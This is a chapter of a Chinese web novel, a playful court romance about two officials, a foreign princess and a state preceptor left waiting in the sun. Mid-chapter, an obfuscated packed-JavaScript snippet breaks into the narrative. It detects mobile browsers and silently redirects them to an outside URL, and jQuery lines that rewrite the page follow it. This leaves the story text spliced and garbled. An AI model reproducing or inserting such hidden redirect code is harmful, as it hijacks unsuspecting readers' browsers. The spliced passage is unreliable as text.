186. 没样子是什么样子
作品:《权奕双璧》 国师笔直立在骄阳之下,细密的汗珠顺着他圆润的下颌、脖颈不断滚落,沿着衣料纹路层层晕开深色水渍,后背、肩头湿了大片,黏腻地贴在肌肤上。
雕花窗棂掩着半扇,隔绝了外界灼人的热浪,殿内清风穿堂,凉丝丝的格外惬意。
鄯云帛月正掰着纤细的手指,认认真真细数着温瑞的木讷表现一二三四五……等等。
数到后来,从最初的吐槽打趣,越说越认真,细数到五六条时,语气渐渐没了底气,心底莫名生出几分自我怀疑。
她抬手抚过自己精致的眉眼、窈窕的身姿,心底满是费解。
论容貌,她生得明艳倾城,身段更是匀称婀娜,素来是旁人夸赞的绝色风姿。
可这般样貌身段,对着温瑞那根榆木疙瘩半点用处都无,愣是撩不动对方分毫。
燕修延听得津津有味,随意歪坐在软椅上,身前摆着一张梨花木小桌,桌上铺满饱满的瓜子。
他指尖翻飞,嗑瓜子的动作娴熟利落,咔嚓声响不绝于耳,清脆细碎。
一颗颗饱满的瓜子仁落入口中,干瘪的瓜子壳随手落在桌面,不过片刻功夫,堆起一座小小的瓜子壳山丘。
待鄯云帛月絮絮叨叨说完,燕修延才拍拍掌心残留的细碎瓜子碎屑:“别琢磨了,你该去见陛下了。”
鄯云帛月絮絮叨叨说了许久,又是吐槽又是自我纠结的,在燕修延的脸上从头到尾只有藏不住的幸灾乐祸,半点怜惜都未曾有。
她气笑了,挑眉看向燕修延:“温瑞是你的手下对吧?”
燕修延坦然颔首,神色自然无比:“对啊,隶属我监察司。”
“难怪。”
鄯云帛月起身,整理了一下衣袖,眼底笑意带着几分揶揄:“大虞的话果真不假,上梁不正下梁歪。”
话音落罢,她不再多言,抬手推开殿门,步履从容地走了出去。
身后两名宫人连忙垂首跟上,步履轻缓。
国师见鄯云帛月半点更换休整的意思都无,顿时就知道她是故意晾着自己的。
怪不得方才应下帮他求情时那般干脆利落,毫无拖沓。
原来从一开始,她就打着拿他出气的心思。
国师垂在身侧的手指悄然收紧,掌心攥出几分湿凉,心底掠过一抹无奈的哑然。
殿内,谢伟恒取来干净的锦帕替燕修延擦去指尖残留的瓜子碎屑,他轻声开口:“燕大人当真是铁石心肠,半点不懂怜香惜玉。”
燕修延往后靠在椅背上,唇角勾起一抹狡黠的假笑,挑眉回看他:“你要是穿上长裙,我倒是能将你视作世间最珍贵的香玉,万般怜惜,加倍温柔。”
玩笑过后,他神色稍稍正色,眼底带着几分笃定:“国师的心思和我先前猜测的分毫不差。”
他拉着谢伟恒打赌并且十分霸道的不让谢伟恒跟他赌一样的。
谢伟恒薄唇微勾,温润的眉眼漾开细碎笑意:“并非全然一致,说辞上有出入。”
燕修延不满地抬眸,眉眼带着少年气的执拗:“又没说必须字字相同。”
谢伟恒眼底盛满无辜:“可燕大人也未曾说过可以有出入。”
燕修延盯着他清雅温润的脸庞,故作咬牙:“我严重怀疑你这是在耍赖。”
谢伟恒坦然应下,毫无半分遮掩,笑意更深:“嗯,我就是在耍赖。”
这般坦荡模样让燕修延半点意外都无,他轻叹一声,斜睨着眼前人:“说起耍赖这门本事,谢书令早已炉火纯青无人能及了。”
谢伟恒抬手轻轻牵住燕修延的手,温热的指尖贴合肌肤,他微微俯身,气息轻拂在燕修延耳畔:“是燕大人教导有方,学生才学有所成。”
燕修延偏头避开谢伟恒的气息,白了他一眼:“教得不好,教出个肆意妄为的逆徒。”
“此言差矣。”
谢伟恒手臂微收揽住燕修延的腰,将人牢牢扣在怀中:“话本之中,徒弟向来最擅长以下犯上,难道燕大人从未读过?”
燕修延翻了个白眼。
真不愧是饱读诗书的读书人,平日里看着清雅端正,私下看的话本倒是五花八门。
他抬手抵在谢伟恒的胸口,轻轻推着想要挣脱禁锢:“懒得理你,我去看看外面的碳烤圆人。”
谢伟恒非但没有松手,反而握住燕修延的手,指尖摩挲着他的手腕,眉眼弯弯,笑意温柔:“这般无情?燕大人不理我可要让我伤心了。”
燕修延抬眸瞥他,只觉好笑。
……谁家好人心生难过,会这般满眼笑意、眉眼温柔?
他微微瘪了瘪嘴,不再推拒,微微仰头,飞快在谢伟恒的唇上印下一个轻柔短促的吻,转瞬便退开。
“好了好了,不闹了。”
燕修延压低声音:“赶紧收敛些,得亏这里没别人,不然明天人家的茶余饭后说的又是我们二人。”
在鄯云帛月跟前伺候的就两名宫人,刚才跟她一起出去了,殿外伺候的宫人不知道他和谢伟恒在里面。
这时,门外传来了细碎的脚步声,紧接着殿门被轻轻推开,两名负责打扫的宫人端着水盆、扫帚走进来,准备收拾殿内杂物。
燕修延拉着谢伟恒身形一闪,顺着敞开的窗棂纵身跃出去,溜了。
宫人目光落在桌上那座高高堆起、密密麻麻的瓜子壳小山,不禁有些纳闷。
难不成尊贵的鄯云帛月公主突然学会嗑瓜子了?还嗑出了这般大一堆壳?
御书房外。
苏公公躬身从殿内走出,对着等候的鄯云帛月躬身通传,只宣她一人入内觐见,国师依旧被拦在殿外继续顶着烈日等候。
他余光悄然扫过四周,敏锐地捕捉到周遭宫人隐晦的目光。
那些视线看似恭敬守礼,细细品读却藏着几分不易察觉的轻蔑与不屑,落在鄯云帛月身上带着淡淡的鄙夷。
不远处两名值守的小宫人立在廊柱侧,自以为声音极低,悄悄咬耳闲谈,字句清晰地落入了国师耳中。
“说到底不过是沾了水昷侍卫的光,仗着对方当年舍身救下陛下性命的情分,隔三差五便来御书房讨要赏赐、攀附圣恩,今日不知又要借着什么由头纠缠陛下……”
“慎言!宫里禁言,岂能随意非议贵客与朝堂旧事!”
一旁年长的宫人抬手敲了敲年少宫人的脑袋,厉声制止。
年少宫人吐了吐舌头,低头噤声不再多说一字。
国师心中有了思量。
怪不得呢,他听说鄯云帛月频频得到大虞皇帝的丰厚赏赐时心中便有些疑惑。
原来是因为她未来夫婿这份特殊优待。
御书房内,静谧肃穆,墨香与书卷气息萦绕周身。
虞睿祥端坐在龙案之后,手持朱笔批阅奏折,神色淡漠沉静。
他与鄯云帛月本就无过多话可谈,客套寒暄都觉多余,索性目光淡淡落向另一侧敞开的窗牖,目光悠远,看似无心观景。
果不其然,两道轻盈利落的身影顺着窗沿翻跃而入,稳稳落在殿内空地,动作娴熟,毫无拘谨。
虞睿祥放下手中朱笔,抬眸看向二人:“伟恒,你端方守礼如今倒是跟着修延学坏了,没一点样子。”
燕修延不乐意了,抬手指着自己,眉眼带着几分不服气:“什么叫跟我学的没样子?陛下你是没见过他真没样子的样子,那才叫离谱!”
“没样子的样子?是何模样?”
鄯云帛月听得一头雾水,她普通的交流没什么问题,说起绕口令她就不太能理解了。
燕修延随口敷衍,笑得促狭:“还能是什么样?就温瑞那样。”
鄯云帛月:“啊,你那么惨的嘛?实在看不出来,这般清雅温润的人物私底下竟也是个榆木棒槌。”
燕修延没再接话,满心好奇凑到殿门旁,轻轻拨开一丝门缝。
下一瞬,他连忙抬手虚虚遮在眼前,压低声音发出一声惊叹:“嚯!”
门外烈日斜斜洒落,金色阳光笔直倾泻而下,尽数落在静静等候的国师头顶,锃亮。
“谢书令,谢书令我的眼睛要被晃瞎了,彻底看不见东西了!”
谢伟恒无奈失笑,快步上前将人扶住,抬手温柔护住他的眉眼,嗓音温润宠溺:“快来这边坐,我替你好好看看,可别真晃伤了眼。”
鄯云帛月看着毫无正形的两人,扭头看向虞睿祥。
这两个人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646344|206799||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的是大虞的官员嘛?大虞人才济济难不成无人可用了才让这两位性子跳脱、嬉笑无度的人身居高位、执掌权柄?
她深刻反省当初一眼就看中燕修延的自己。
明明觉得他风姿卓绝、聪慧灵动,是难得的绝世人物,怎的如今细看,这般不靠谱?
真的是眼瞎了。
虞睿祥板着一张帝王冷脸,神色看似威严不改,可若是细细观察便能发现他的唇角正在微微不受控制地抽搐,显然是极力隐忍笑意。
国师耐着性子等候许久,漫长暴晒过后,终于听见殿内传来轻微的脚步声,知晓鄯云帛月即将出来。
他下意识凑近殿门,想要透过门缝窥探一二,打探内里情形。
可指尖刚靠近门扇,眼前的门便被人从内里轻轻合上,严丝合缝,半点缝隙不留,彻底隔绝了他的视线,不给他丝毫窥探的机会。
国师待鄯云帛月走出,立刻上前低声询问:“公主,陛下之意如何?求情之事可否稳妥?”
鄯云帛月刚踏出殿门,便清晰闻到他身上扑面而来的浓重汗味,湿热黏腻直冲鼻腔。
她下意识单手握鼻,微微后退半步,眉眼间带着几分难以掩饰的嫌弃。
“国师,你还是先回住处换一身衣裳吧。满身浓重汗味实在冲人得很,幸好刚才未曾让你入殿面圣,免得冲撞了圣驾。”
国师身形一僵,脸上期待的神色凝固,变得难看至极。
烈日暴晒的燥热与疲惫涌上心头,再被这般直白嫌弃,心底烦闷郁结却又无从发作。
他强压下心底的不悦,勉强挤出一抹客套的笑容:“公主见谅,汗湿衣衫实属无奈。不知陛下究竟是如何答复?”
鄯云帛月笑容明媚:“你猜猜呢?”
紧接着,她骤然收去眼底的闲适,明媚的笑意褪去,面色一沉,语气带着几分清冷的疏离:“国师,你身上的味道着实熏到我了。”
字字直白,毫不留情。
国师牙关紧咬,死死压住心底翻涌的不耐与憋屈,维持着表面的体面与克制。
“是我失仪,我知错,这便即刻回去沐浴更衣整理仪容。”
说罢,他不再多言,转身拂袖,步履极快地转身离去,背影带着几分隐忍的仓促。
鄯云帛月看着他离去的背影,淡淡抬眸,也转身朝着自己的寝宫方向走去。
燕修延在门后将这一来一回的对话、拉扯的气氛尽数听在耳中。
看来往后温瑞怕是要被拿捏得死死的——也不一定,因为他是榆木疙瘩。
“陛下。”
燕修延转身看向龙案后的虞睿祥,当即摆出一副告状的委屈模样,语气控诉:“你可得管管你的臣子!谢书令和我打赌输了百般耍赖,肆意违约,实在不讲道理!”
虞睿祥头也未抬,依旧低头批阅堆积如山的奏折,眼皮都懒得掀开一下,语气淡淡悠悠:“自己家的媳妇自然该自己管教,朕可懒得掺和你们的私房家事。”
燕修延一愣随即深以为然,点头附和:“陛下所言极是,确实是这个道理。”
他立刻话锋一转,收敛嬉闹神色,切入正事,语气带着几分故作无奈的轻叹:“楼兰的信还在路途之中,等他们把许诺的马匹送来不知还要多久。”
虞睿祥闻言终于抬眸看向他,神色淡然:“那封书信如今到了何处?”
“送信的人半路染了腹泻小病,在城郊医馆耽搁了好几日,今日才刚出京郊,距离目的地尚且遥远。”
不过是寻常腹泻小疾,一直拖着治不好就太假了,反倒引人疑心。
况且这只是开端,往后路途之中还会有各式无伤大雅的小毛病接踵而至,等着他呢。
虞睿祥神色愈发平静,淡淡开口:“如此,便无需忧心,静待即可。”
说罢,见燕修延依旧立在原地,半点没有告退离开的意思,眼巴巴望着自己,一副有所期盼的模样。
虞睿祥无奈至极,唇角再次微微抽搐,终究是松了口:“罢了,待朕批完手头这些奏折,便带你二人去私库逛逛,任由挑选。”
—————————————
注:
水昷侍卫:温侍卫,温瑞

